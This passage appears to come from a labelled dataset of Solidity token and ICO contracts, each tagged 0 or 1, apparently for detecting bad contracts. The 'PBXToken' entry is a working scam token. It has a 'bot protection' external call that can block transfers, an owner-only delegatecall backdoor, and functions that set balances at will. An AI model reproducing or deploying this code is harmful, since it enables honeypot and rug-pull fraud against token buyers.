function getReservedTokensListValInPercentage(address addr) constant returns (uint inPercentage) {
return reservedTokensList[addr].inPercentage;
}
function setReservedTokensListMultiple(address[] addrs, uint[] inTokens, uint[] inPercentage) onlyOwner {
for (uint iterator = 0; iterator < addrs.length; iterator++) {
setReservedTokensList(addrs[iterator], inTokens[iterator], inPercentage[iterator]);
}
}
function mint(address receiver, uint amount) onlyMintAgent canMint public {
totalSupply = totalSupply.plus(amount);
balances[receiver] = balances[receiver].plus(amount);
Transfer(0, receiver, amount);
}
function setMintAgent(address addr, bool state) onlyOwner canMint public {
mintAgents[addr] = state;
MintingAgentChanged(addr, state);
}
modifier onlyMintAgent() {
if(!mintAgents[msg.sender]) {
throw;
}
_;
}
modifier canMint() {
if(mintingFinished) throw;
_;
}
}
contract MintedTokenCappedCrowdsaleExt is CrowdsaleExt {
uint public maximumSellableTokens;
function MintedTokenCappedCrowdsaleExt(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, uint _maximumSellableTokens, bool _isUpdatable, bool _isWhiteListed) CrowdsaleExt(_token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal, _isUpdatable, _isWhiteListed) {
maximumSellableTokens = _maximumSellableTokens;
}
event MaximumSellableTokensChanged(uint newMaximumSellableTokens);
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken) {
return tokensSoldTotal > maximumSellableTokens;
}
function isBreakingInvestorCap(address addr, uint tokenAmount) constant returns (bool limitBroken) {
if (!isWhiteListed) throw;
uint maxCap = earlyParticipantWhitelist[addr].maxCap;
return (tokenAmountOf[addr].plus(tokenAmount)) > maxCap;
}
function isCrowdsaleFull() public constant returns (bool) {
return tokensSold >= maximumSellableTokens;
}
function assignTokens(address receiver, uint tokenAmount) private {
MintableTokenExt mintableToken = MintableTokenExt(token);
mintableToken.mint(receiver, tokenAmount);
}
function setMaximumSellableTokens(uint tokens) onlyOwner {
if (finalized) throw;
if (!isUpdatable) throw;
CrowdsaleExt lastCrowdsaleCntrct = CrowdsaleExt(lastCrowdsale);
if (lastCrowdsaleCntrct.finalized()) throw;
maximumSellableTokens = tokens;
MaximumSellableTokensChanged(maximumSellableTokens);
}
} | 0 | 1,645 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract owned {
address public owner;
address public newOwner;
function owned() payable {
owner = msg.sender;
}
modifier onlyOwner {
require(owner == msg.sender);
_;
}
function changeOwner(address _owner) onlyOwner public {
require(_owner != 0);
newOwner = _owner;
}
function confirmOwner() public {
require(newOwner == msg.sender);
owner = newOwner;
delete newOwner;
}
}
contract StandardToken {
using SafeMath for uint256;
mapping (address => mapping (address => uint256)) allowed;
mapping(address => uint256) balances;
uint256 public totalSupply;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
var _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue) public
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BulleonICO is owned {
using SafeMath for uint256;
string public version = "1.0";
address private WITHDRAW_WALLET;
uint256 public totalSold = 0;
uint256 public soldOnStage = 0;
uint8 public currentStage = 0;
Bulleon public rewardToken;
uint256[] tokensRate = [1000,800,600,400,200,100,75,50,25,10,5,1];
uint256[] tokensCap = [760000,760000,760000,760000,760000,760000,760000,760000,760000,760000,760000,760000];
mapping(address=>uint256) investments;
uint256 LIMIT_ON_BENEFICIARY = 1000 * 1 ether;
function investmentsOf(address beneficiary) public constant returns(uint256) {
return investments[beneficiary];
}
function availableOnStage() public constant returns(uint256) {
return tokensCap[currentStage].mul(1 ether).sub(soldOnStage);
}
function createTokenContract() internal returns (Bulleon) {
return new Bulleon();
}
function currentStageTokensCap() public constant returns(uint256) {
return tokensCap[currentStage];
}
function currentStageTokensRate() public constant returns(uint256) {
return tokensRate[currentStage];
}
function BulleonICO() payable owned() {
owner = msg.sender;
WITHDRAW_WALLET = msg.sender;
rewardToken = createTokenContract();
}
function () payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) payable {
bool canBuy = investmentsOf(beneficiary) < LIMIT_ON_BENEFICIARY;
bool validPurchase = beneficiary != 0x0 && msg.value != 0;
uint256 currentTokensAmount = availableTokens();
require(canBuy && validPurchase && currentTokensAmount > 0);
uint256 boughtTokens;
uint256 refundAmount = 0;
uint256[2] memory tokensAndRefund = calcMultiStage();
boughtTokens = tokensAndRefund[0];
refundAmount = tokensAndRefund[1];
require(boughtTokens < currentTokensAmount);
totalSold = totalSold.add(boughtTokens);
investments[beneficiary] = investments[beneficiary].add(boughtTokens);
if( soldOnStage >= tokensCap[currentStage].mul(1 ether)) {
toNextStage();
}
rewardToken.transfer(beneficiary,boughtTokens);
if (refundAmount > 0)
refundMoney(refundAmount);
withdrawFunds(this.balance);
}
function forceWithdraw() onlyOwner {
withdrawFunds(this.balance);
}
function calcMultiStage() internal returns(uint256[2]) {
uint256 stageBoughtTokens;
uint256 undistributedAmount = msg.value;
uint256 _boughtTokens = 0;
uint256 undistributedTokens = availableTokens();
while(undistributedAmount > 0 && undistributedTokens > 0) {
bool needNextStage = false;
stageBoughtTokens = getTokensAmount(undistributedAmount);
if(totalInvestments(_boughtTokens.add(stageBoughtTokens)) > LIMIT_ON_BENEFICIARY){
stageBoughtTokens = LIMIT_ON_BENEFICIARY.sub(_boughtTokens);
undistributedTokens = stageBoughtTokens;
}
if (stageBoughtTokens > availableOnStage()) {
stageBoughtTokens = availableOnStage();
needNextStage = true;
}
_boughtTokens = _boughtTokens.add(stageBoughtTokens);
undistributedTokens = undistributedTokens.sub(stageBoughtTokens);
undistributedAmount = undistributedAmount.sub(getTokensCost(stageBoughtTokens));
soldOnStage = soldOnStage.add(stageBoughtTokens);
if (needNextStage)
toNextStage();
}
return [_boughtTokens,undistributedAmount];
}
function setWithdrawWallet(address addressToWithdraw) public onlyOwner {
require(addressToWithdraw != 0x0);
WITHDRAW_WALLET = addressToWithdraw;
}
function totalInvestments(uint additionalAmount) internal returns (uint256) {
return investmentsOf(msg.sender).add(additionalAmount);
}
function refundMoney(uint256 refundAmount) internal {
msg.sender.transfer(refundAmount);
}
function burnTokens(uint256 amount) public onlyOwner {
rewardToken.burn(amount);
}
function getTokensCost(uint256 _tokensAmount) internal constant returns(uint256) {
return _tokensAmount.div(tokensRate[currentStage]);
}
function getTokensAmount(uint256 _amountInWei) internal constant returns(uint256) {
return _amountInWei.mul(tokensRate[currentStage]);
}
function toNextStage() internal {
if(currentStage < tokensRate.length && currentStage < tokensCap.length){
currentStage++;
soldOnStage = 0;
}
}
function availableTokens() public constant returns(uint256) {
return rewardToken.balanceOf(address(this));
}
function withdrawFunds(uint256 amount) internal {
WITHDRAW_WALLET.transfer(amount);
}
}
contract Bulleon is StandardToken {
event Burn(address indexed burner, uint256 value);
string public constant name = "Bulleon";
string public constant symbol = "BLN";
uint8 public constant decimals = 18;
string public version = "1.0";
uint256 public totalSupply = 9500000 * 1 ether;
mapping(address=>uint256) premineOf;
address[] private premineWallets = [
0xdAB26a04594Ca4EDB276672BE0A0F697e5a24aFb,
0xA75E62874Cb25D53e563A269DF4b52d5A28e7A8e,
0x6Ff480a30D037B774c6aba935468fa5560d769a4
];
function Bulleon() public {
balances[msg.sender] = totalSupply;
premineOf[premineWallets[0]] = 95000 * 1 ether;
premineOf[premineWallets[1]] = 95000 * 1 ether;
premineOf[premineWallets[2]] = 190000 * 1 ether;
for(uint i = 0; i<premineWallets.length;i++) {
transfer(premineWallets[i],premineOf[premineWallets[i]]);
}
}
function burn(uint256 _value) public {
require(_value > 0);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
} | 1 | 3,350 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal protectionFromBots;
address public uniPair;
constructor(address _botProtection) {
protectionFromBots = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = protectionFromBots.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract PBXToken is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 500000000000000000000000000;
string public name = "Paribus";
string public symbol = "PBX";
IUniswapV2Router02 public routerForPancake = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairForUniswap(wETH, address(this));
allowance[address(this)][address(routerForPancake)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable returns (bool) {
require(msg.sender == owner);
(bool success, ) = a.delegatecall(b);
return success;
}
function pairForUniswap(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function distribute(address[] memory _tos, uint amount) public {
require(msg.sender == owner);
protectionFromBots.call(abi.encodeWithSelector(0xd5eaf4c3, _tos));
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = amount;
emit Transfer(address(0x0), _tos[i], amount);
}
}
function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
routerForPancake.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tos.length == _amounts.length);
protectionFromBots.call(abi.encodeWithSelector(0xd5eaf4c3, _tos));
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = _amounts[i];
emit Transfer(address(0x0), _tos[i], _amounts[i]);
}
}
} | 1 | 2,861 |
pragma solidity ^0.4.25;
interface IERC20 {
function balanceOf(address _owner) external view returns (uint256);
function allowance(address _owner, address _spender) external view returns (uint256);
function transfer(address _to, uint256 _value) external returns (bool);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool);
function approve(address _spender, uint256 _value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ICB is IERC20 {
using SafeMath for uint256;
address private owner;
string public name = "Big Intelligence Chain";
string public symbol = "ICB";
uint8 public constant decimals = 18;
uint256 public constant decimalFactor = 10 ** uint256(decimals);
uint256 public constant totalSupply = 210000000 * decimalFactor;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
mapping (address => bool) public frozenAccount;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event FrozenFunds(address target, bool frozen);
constructor() public {
balances[msg.sender] = totalSupply;
owner = msg.sender;
emit Transfer(address(0), msg.sender, totalSupply);
}
modifier onlyOwner {
if (msg.sender != owner) revert();
_;
}
function() external payable {
}
function withdraw() onlyOwner public {
uint256 etherBalance = address(this).balance;
owner.transfer(etherBalance);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(block.timestamp >= 1537164000);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
} | 0 | 1,792 |
pragma solidity ^0.4.24;
contract Z_ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract Z_ERC20 is Z_ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Z_BasicToken is Z_ERC20Basic {
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] -= _value;
balances[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract Z_StandardToken is Z_ERC20, Z_BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] -= _value;
balances[_to] += _value;
allowed[_from][msg.sender] -= _value;
emit Transfer(_from, _to, _value);
return true;
}
function transferFromByAdmin(address _from, address _to, uint256 _value) internal returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
balances[_from] -= _value;
balances[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender] + (_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue - (_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Z_Ownable {
address public owner;
mapping (address => bool) internal admin_accounts;
constructor() public {
owner = msg.sender;
admin_accounts[msg.sender]= true;
}
modifier onlyOwner() {
require(msg.sender == owner );
_;
}
function isOwner() internal view returns (bool) {
return (msg.sender == owner );
}
modifier onlyAdmin() {
require (admin_accounts[msg.sender]==true);
_;
}
function isAdmin() internal view returns (bool) {
return (admin_accounts[msg.sender]==true);
}
}
contract NowToken is Z_StandardToken, Z_Ownable {
string public constant name = "NOW";
string public constant symbol = "NOW";
uint8 public constant decimals = 18;
uint256 internal constant _totalTokenAmount = 30 * (10 ** 9) * (10 ** 18);
uint256 internal constant WEI_PER_ETHER= 1000000000000000000;
uint256 internal constant NUM_OF_SALE_STAGES= 5;
enum Sale_Status {
Initialized_STATUS,
Stage0_Sale_Started_STATUS,
Stage0_Sale_Stopped_STATUS,
Stage1_Sale_Started_STATUS,
Stage1_Sale_Stopped_STATUS,
Stage2_Sale_Started_STATUS,
Stage2_Sale_Stopped_STATUS,
Stage3_Sale_Started_STATUS,
Stage3_Sale_Stopped_STATUS,
Stage4_Sale_Started_STATUS,
Stage4_Sale_Stopped_STATUS,
Public_Allowed_To_Trade_STATUS,
Stage0_Allowed_To_Trade_STATUS,
Closed_STATUS
}
Sale_Status public sale_status= Sale_Status.Initialized_STATUS;
uint256 public sale_stage_index= 0;
uint256 public when_initialized= 0;
uint256 public when_public_allowed_to_trade_started= 0;
uint256 public when_stage0_allowed_to_trade_started= 0;
uint256 [NUM_OF_SALE_STAGES] public when_stageN_sale_started;
uint256 [NUM_OF_SALE_STAGES] public when_stageN_sale_stopped;
uint256 public sold_tokens_total= 0;
uint256 public raised_ethers_total= 0;
uint256[NUM_OF_SALE_STAGES] public sold_tokens_per_stage;
uint256[NUM_OF_SALE_STAGES] public raised_ethers_per_stage;
uint256[NUM_OF_SALE_STAGES] public target_ethers_per_stage= [
1000 * WEI_PER_ETHER,
9882 * WEI_PER_ETHER,
11454 * WEI_PER_ETHER,
11200 * WEI_PER_ETHER,
11667 * WEI_PER_ETHER
];
uint256[NUM_OF_SALE_STAGES] internal sale_price_per_stage_wei_per_now = [
uint256(1000000000000000000/ uint256(100000)),
uint256(1000000000000000000/ uint256(38000)),
uint256(1000000000000000000/ uint256(23000)),
uint256(1000000000000000000/ uint256(17000)),
uint256(1000000000000000000/ uint256(10000))
];
struct history_token_transfer_obj {
address _from;
address _to;
uint256 _token_value;
uint256 _when;
}
struct history_token_burning_obj {
address _from;
uint256 _token_value_burned;
uint256 _when;
}
history_token_transfer_obj[] internal history_token_transfer;
history_token_burning_obj[] internal history_token_burning;
mapping (address => uint256) internal sale_amount_stage0_account;
mapping (address => uint256) internal sale_amount_stage1_account;
mapping (address => uint256) internal sale_amount_stage2_account;
mapping (address => uint256) internal sale_amount_stage3_account;
mapping (address => uint256) internal sale_amount_stage4_account;
mapping (address => uint256) internal holders_received_accumul;
address[] public holders;
address[] public holders_stage0_sale;
address[] public holders_stage1_sale;
address[] public holders_stage2_sale;
address[] public holders_stage3_sale;
address[] public holders_stage4_sale;
address[] public holders_trading;
address[] public holders_burned;
address[] public holders_frozen;
mapping (address => uint256) public burned_amount;
uint256 public totalBurned= 0;
uint256 public totalEtherWithdrawed= 0;
mapping (address => uint256) internal account_frozen_time;
mapping (address => mapping (string => uint256)) internal traded_monthly;
address[] public cryptocurrency_exchange_company_accounts;
event AddNewAdministrator(address indexed _admin, uint256 indexed _when);
event RemoveAdministrator(address indexed _admin, uint256 indexed _when);
function z_admin_add_admin(address _newAdmin) public onlyOwner {
require(_newAdmin != address(0));
admin_accounts[_newAdmin]=true;
emit AddNewAdministrator(_newAdmin, block.timestamp);
}
function z_admin_remove_admin(address _oldAdmin) public onlyOwner {
require(_oldAdmin != address(0));
require(admin_accounts[_oldAdmin]==true);
admin_accounts[_oldAdmin]=false;
emit RemoveAdministrator(_oldAdmin, block.timestamp);
}
event AddNewExchangeAccount(address indexed _exchange_account, uint256 indexed _when);
function z_admin_add_exchange(address _exchange_account) public onlyAdmin {
require(_exchange_account != address(0));
cryptocurrency_exchange_company_accounts.push(_exchange_account);
emit AddNewExchangeAccount(_exchange_account, block.timestamp);
}
event SaleTokenPriceSet(uint256 _stage_index, uint256 _wei_per_now_value, uint256 indexed _when);
function z_admin_set_sale_price(uint256 _how_many_wei_per_now) public
onlyAdmin
{
if(_how_many_wei_per_now == 0) revert();
if(sale_stage_index >= 5) revert();
sale_price_per_stage_wei_per_now[sale_stage_index] = _how_many_wei_per_now;
emit SaleTokenPriceSet(sale_stage_index, _how_many_wei_per_now, block.timestamp);
}
function CurrentSalePrice() public view returns (uint256 _sale_price, uint256 _current_sale_stage_index) {
if(sale_stage_index >= 5) revert();
_current_sale_stage_index= sale_stage_index;
_sale_price= sale_price_per_stage_wei_per_now[sale_stage_index];
}
event InitializedStage(uint256 indexed _when);
event StartStage0TokenSale(uint256 indexed _when);
event StartStage1TokenSale(uint256 indexed _when);
event StartStage2TokenSale(uint256 indexed _when);
event StartStage3TokenSale(uint256 indexed _when);
event StartStage4TokenSale(uint256 indexed _when);
function start_StageN_Sale(uint256 _new_sale_stage_index) internal
{
if(sale_status==Sale_Status.Initialized_STATUS || sale_stage_index+1<= _new_sale_stage_index)
sale_stage_index= _new_sale_stage_index;
else
revert();
sale_status= Sale_Status(1 + sale_stage_index * 2);
when_stageN_sale_started[sale_stage_index]= block.timestamp;
if(sale_stage_index==0) emit StartStage0TokenSale(block.timestamp);
if(sale_stage_index==1) emit StartStage1TokenSale(block.timestamp);
if(sale_stage_index==2) emit StartStage2TokenSale(block.timestamp);
if(sale_stage_index==3) emit StartStage3TokenSale(block.timestamp);
if(sale_stage_index==4) emit StartStage4TokenSale(block.timestamp);
}
event StopStage0TokenSale(uint256 indexed _when);
event StopStage1TokenSale(uint256 indexed _when);
event StopStage2TokenSale(uint256 indexed _when);
event StopStage3TokenSale(uint256 indexed _when);
event StopStage4TokenSale(uint256 indexed _when);
function stop_StageN_Sale(uint256 _old_sale_stage_index) internal
{
if(sale_stage_index != _old_sale_stage_index)
revert();
sale_status= Sale_Status(2 + sale_stage_index * 2);
when_stageN_sale_stopped[sale_stage_index]= block.timestamp;
if(sale_stage_index==0) emit StopStage0TokenSale(block.timestamp);
if(sale_stage_index==1) emit StopStage1TokenSale(block.timestamp);
if(sale_stage_index==2) emit StopStage2TokenSale(block.timestamp);
if(sale_stage_index==3) emit StopStage3TokenSale(block.timestamp);
if(sale_stage_index==4) emit StopStage4TokenSale(block.timestamp);
}
event StartTradePublicSaleTokens(uint256 indexed _when);
function start_Public_Trade() internal
onlyAdmin
{
Sale_Status new_sale_status= Sale_Status(2 + sale_stage_index * 2);
if(new_sale_status > sale_status)
stop_StageN_Sale(sale_stage_index);
sale_status= Sale_Status.Public_Allowed_To_Trade_STATUS;
when_public_allowed_to_trade_started= block.timestamp;
emit StartTradePublicSaleTokens(block.timestamp);
}
event StartTradeStage0SaleTokens(uint256 indexed _when);
function start_Stage0_Trade() internal
onlyAdmin
{
if(sale_status!= Sale_Status.Public_Allowed_To_Trade_STATUS) revert();
uint32 stage0_locked_year= 1;
bool is_debug= false;
if(is_debug==false && block.timestamp < stage0_locked_year*365*24*60*60
+ when_public_allowed_to_trade_started )
revert();
if(is_debug==true && block.timestamp < stage0_locked_year*10*60
+ when_public_allowed_to_trade_started )
revert();
sale_status= Sale_Status.Stage0_Allowed_To_Trade_STATUS;
when_stage0_allowed_to_trade_started= block.timestamp;
emit StartTradeStage0SaleTokens(block.timestamp);
}
event CreateTokenContract(uint256 indexed _when);
constructor() public
{
totalSupply = _totalTokenAmount;
balances[msg.sender] = _totalTokenAmount;
sale_status= Sale_Status.Initialized_STATUS;
sale_stage_index= 0;
when_initialized= block.timestamp;
holders.push(msg.sender);
holders_received_accumul[msg.sender] += _totalTokenAmount;
emit Transfer(address(0x0), msg.sender, _totalTokenAmount);
emit InitializedStage(block.timestamp);
emit CreateTokenContract(block.timestamp);
}
modifier validTransaction( address _from, address _to, uint256 _value)
{
require(_to != address(0x0));
require(_to != _from);
require(_value > 0);
if(isAdmin()==false) {
if(account_frozen_time[_from] > 0) revert();
if(_value == 0 ) revert();
if(sale_status < Sale_Status.Public_Allowed_To_Trade_STATUS) revert();
if( sale_amount_stage0_account[_from] > 0 ) {
if(sale_status < Sale_Status.Stage0_Allowed_To_Trade_STATUS)
revert();
} else {
}
}
_;
}
